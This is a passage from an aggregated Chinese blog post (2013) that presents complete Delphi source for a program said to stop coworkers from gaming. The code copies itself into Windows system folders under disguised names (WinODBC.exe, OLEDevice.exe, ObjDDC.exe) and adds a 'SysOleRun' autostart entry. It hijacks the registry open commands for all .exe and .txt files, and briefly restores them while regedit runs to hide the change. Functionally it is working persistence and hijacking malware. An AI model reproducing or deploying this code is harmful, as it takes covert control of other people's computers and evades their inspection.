惯性聚合 高效追踪和阅读你感兴趣的博客、新闻、科技资讯
阅读原文 在惯性聚合中打开

推荐订阅源

量子位
Google DeepMind News
Google DeepMind News
爱范儿
爱范儿
OSCHINA 社区最新新闻
OSCHINA 社区最新新闻
NISL@THU
NISL@THU
T
Threat Research - Cisco Blogs
freeCodeCamp Programming Tutorials: Python, JavaScript, Git & More
L
Lohrmann on Cybersecurity
V
Visual Studio Blog
Cyberwarzone
Cyberwarzone
D
Docker
The Hacker News
The Hacker News
C
CERT Recently Published Vulnerability Notes
Vercel News
Vercel News
Project Zero
Project Zero
S
Schneier on Security
aimingoo的专栏
aimingoo的专栏
I
Intezer
腾讯CDC
M
MIT News - Artificial intelligence
Hugging Face - Blog
Hugging Face - Blog
P
Palo Alto Networks Blog
C
CXSECURITY Database RSS Feed - CXSecurity.com
AWS News Blog
AWS News Blog
GbyAI
GbyAI
MongoDB | Blog
MongoDB | Blog
Cyber Security Advisories - MS-ISAC
Cyber Security Advisories - MS-ISAC
V
Vulnerabilities – Threatpost
G
Google Developers Blog
N
Netflix TechBlog - Medium
The Cloudflare Blog
Microsoft Security Blog
Microsoft Security Blog
Y
Y Combinator Blog
A
Arctic Wolf
S
Securelist
酷 壳 – CoolShell
酷 壳 – CoolShell
Cisco Talos Blog
Cisco Talos Blog
Recent Announcements
Recent Announcements
C
Cyber Attacks, Cyber Crime and Cyber Security
L
LINUX DO - 热门话题
T
Threatpost
Latest news
Latest news
Blog — PlanetScale
Blog — PlanetScale
Security Latest
Security Latest
Engineering at Meta
Engineering at Meta
大猫的无限游戏
大猫的无限游戏
H
Help Net Security
The GitHub Blog
The GitHub Blog
T
Tor Project blog
P
Proofpoint News Feed

博客园 - lykyl的自留地

树莓派编译安装opencv3 (2019.1.6更新) centos6 安装EPEL "检索COM类工厂中 CLSID为 {00024500-0000-0000-C000-000000000046}的组件时失败,原因是出现以下错误: 80070005" 问题的解决 centos6.x 安装pylucene (20161027改) - lykyl的自留地 趣味python编程之经典俄罗斯方块 python编码规范 改进uwsgi启动脚本,使其支持多个独立配置文件 在CentOS 6.5上安装python2.7 "System.Security.Cryptography.CryptographicException: 拒绝访问" 问题的解决方法 利用SHELL脚本实现文件完整性检测程序(1.2版更新) 获取linux服务器基本信息脚本 基于python编写的天气抓取程序 linux使用心得(持续更新) vim使用心得(持续更新) NFS服务基本配置及使用 利用shell脚本实现计划任务功能 V1.2 利用shell脚本实现计划任务功能 rsync简明手册 linux bash script简明手册(持续更新)
DELPHI实现关闭指定进程,自身防杀
lykyl的自留地 · 2013-10-18 · via 博客园 - lykyl的自留地

1、程序运行后将自身以不同的名称一式三份存到系统各目录中,将其中一个COPY写到注册表里开机自启动,然后修改注册表中txt文件和exe文件打开方式分别指向另两个COPY,达到监控目的。

  1 //为了防止一些人上班就玩游戏的恶习所编
  2 program HK;
  3 
  4 uses
  5   Windows,
  6   Messages,
  7   SysUtils,
  8   System,
  9   Classes,
 10   Registry,
 11   Forms,
 12   Controls,
 13   LoadDLL in 'LoadDLL.pas';
 14   
 15 var
 16   I:Integer;
 17   SPath,WPath:PCHAR;
 18   pa:string;
 19   hnd: THandle;
 20   sp:boolean;
 21   sFileName:String;
 22 
 23 
 24 //function RegisterServiceProcess(dwProcessId, dwServiceType: DWord): Bool; stdcall;
 25 
 26 //function RegisterServiceProcess; external 'Kernel32.dll' Name 'RegisterServiceProcess';
 27 
 28 procedure procRun(exeName,exePath:PChar;trace:boolean);
 29 var
 30   SUInfo: TStartupInfo;
 31   ProcInfo: TProcessInformation;
 32 begin
 33 FillChar(SUInfo, SizeOf(SUInfo), #0);
 34 with SUInfo do
 35   begin
 36     cb := SizeOf(SUInfo);
 37     dwFlags := STARTF_USESHOWWINDOW;
 38     wShowWindow :=1;
 39   end;
 40 if CreateProcess(NIL,exeName, NIL, NIL, FALSE,CREATE_NEW_CONSOLE or NORMAL_PRIORITY_CLASS, NIL,exePath, SUInfo, ProcInfo) then
 41   begin
 42     if trace then
 43       WaitForSingleObject(ProcInfo.hProcess, INFINITE);
 44     CloseHandle(ProcInfo.hProcess);
 45     CloseHandle(ProcInfo.hThread);
 46   end;
 47 end;
 48 
 49 procedure procSetReg(rest:boolean);
 50 var
 51    Reg:TRegistry;
 52 begin
 53    Reg:=Tregistry.Create;
 54    try
 55    if rest then
 56    begin
 57      reg.rootkey:=HKEY_CLASSES_ROOT;
 58      if reg.OpenKey('\txtfile\shell\open\command',true) then
 59         reg.WriteExpandString('',WPath+'\NOTEPAD.exe %1');
 60      reg.closekey;
 61      if reg.OpenKey('\exefile\shell\open\command',true) then
 62         reg.WriteExpandString('','"%1" %*');
 63      reg.closekey;
 64      reg.RootKey:=HKEY_LOCAL_MACHINE;
 65      if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
 66         reg.DeleteValue('SysOleRun');
 67       reg.closekey;
 68    end
 69    else
 70    begin
 71       reg.RootKey:=HKEY_LOCAL_MACHINE;
 72       if reg.openkey('\Software\Microsoft\Windows\CurrentVersion\Run',True) then
 73           reg.writestring('SysOleRun',spath+'\ObjDDC.exe');
 74       Reg.CloseKey;
 75       reg.rootkey:=HKEY_CLASSES_ROOT;
 76       if reg.OpenKey('\txtfile\shell\open\command',true) then
 77           reg.WriteExpandString('',spath+'\WinODBC.exe %1');
 78       reg.closekey;
 79       if reg.OpenKey('\exefile\shell\open\command',true) then
 80           reg.WriteExpandString('',spath+'\OLEDevice.exe %1 %*');
 81       reg.closekey;
 82    end;
 83   finally
 84     Reg.Free;
 85   end;
 86 end;
 87 
 88 procedure BeepEx(feq:word=1200;delay:word=1);
 89 
 90   procedure BeepOff;
 91    begin
 92      asm
 93        in al,$61;
 94        and al,$fc;
 95        out $61,al;
 96      end;
 97   end;
 98 const
 99   scale=1193180;
100 var
101   temp:word;
102 begin
103   temp:=scale div feq;
104   asm
105     in al,61h;
106     or al,3;
107     out 61h,al;
108     mov al,$b6;
109     out 43h,al;
110     mov ax,temp;
111     out 42h,al;
112     mov al,ah;
113     out 42h,al;
114   end;
115   sleep(delay);
116   beepoff;
117 end;
118 
119 procedure UserPass();
120 var
121    a,b:integer;
122    t:longword;
123    UserName:PCHAR;
124 begin
125    if sp then
126       begin
127        t:=255;
128       GetMem(UserName,255);
129       try
130         getusername(UserName,t);
131         if UserName<>'lykyl' then
132           begin
133              messagebox(0,'非法用户,操作限制!','系统警告!',MB_OK);
134              for a:=1 to 1 do
135               begin
136               SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, 0);
137                for b:=1 to 2 do
138                  begin
139                       BeepEx(1500,200);
140                       beepex(3000,200);
141                  end;
142                SendMessage(0, WM_SYSCOMMAND, SC_MONITORPOWER, -1);
143                messagebox(0,'非法用户身份确定','系统警告!',MB_OK);
144               end;
145           end;
146         finally
147           freemem(UserName);
148         end;
149       end;
150 end;
151   {$R *.RES}
152 
153 begin
154    hnd := CreateMutex(nil, True, 'irgendwaseinmaliges');
155    if GetLastError = ERROR_ALREADY_EXISTS then
156       sp:=false
157    else
158       sp:=true;
159   //RegisterServiceProcess(0, RSP_SIMPLE_SERVICE);
160   GetMem(SPath,255);
161   GetMem(WPath,255);
162   GetSystemDirectory(SPath,255);
163   GetWindowsDirectory(WPath,255);
164   SetLength(sFileName,255);
165   GetModuleFileName(GetCurrentProcess,Pchar(sFileName),255);
166   sFileName:=Pchar(sFileName);
167   try
168     if ExtractFileName(sFileName)='lykyl.exe' then
169        procSetReg(true)
170     else
171     begin
172     Copyfile(pchar(sFileName),pchar(spath+'\WinODBC.exe'),false);
173     Copyfile(pchar(sFileName),pchar(spath+'\OLEDevice.exe'),false);
174     Copyfile(pchar(sFileName),pchar(WPath+'\ObjDDc.exe'),false);
175     procSetReg(false);
176     for i:=1 to ParamCount do
177         if i=1 then
178            pa:=ParamStr(i)
179         else
180            pa:=pa+' '+ParamStr(i);
181     if Pa <>'' then
182       begin
183           if ExtractFileName(sFileName)='WINODBC.EXE' then
184             begin
185               UserPass();
186               procRun(PChar(WPath+'\NOTEPAD.EXE '+pa),PChar(ExtractFilePath(WPath+'\')),false);
187             end
188           else
189               if ExtractFileName(sFileName)='OLEDEVICE.EXE' then
190                begin
191                   UserPass();
192                   if AnsiStrPos(pchar(pa),'regedit')<>nil then
193                      begin
194                           procSetReg(true);
195                           procRun(PChar(pa),PChar(ExtractFilePath(pa)),true);
196                           procSetReg(false);
197                      end
198                   else
199                      begin
200                          procRun(PChar(pa),pchar(extractfilepath(pa)),false);
201                      end;
202                end;
203       end;
204       end;
205   finally
206     freemem(SPath);
207     freemem(WPath);
208     if hnd <> 0 then CloseHandle(hnd);
209 //    RegisterServiceProcess(0, RSP_UNREGISTER_SERVICE);
210   end;
211 end.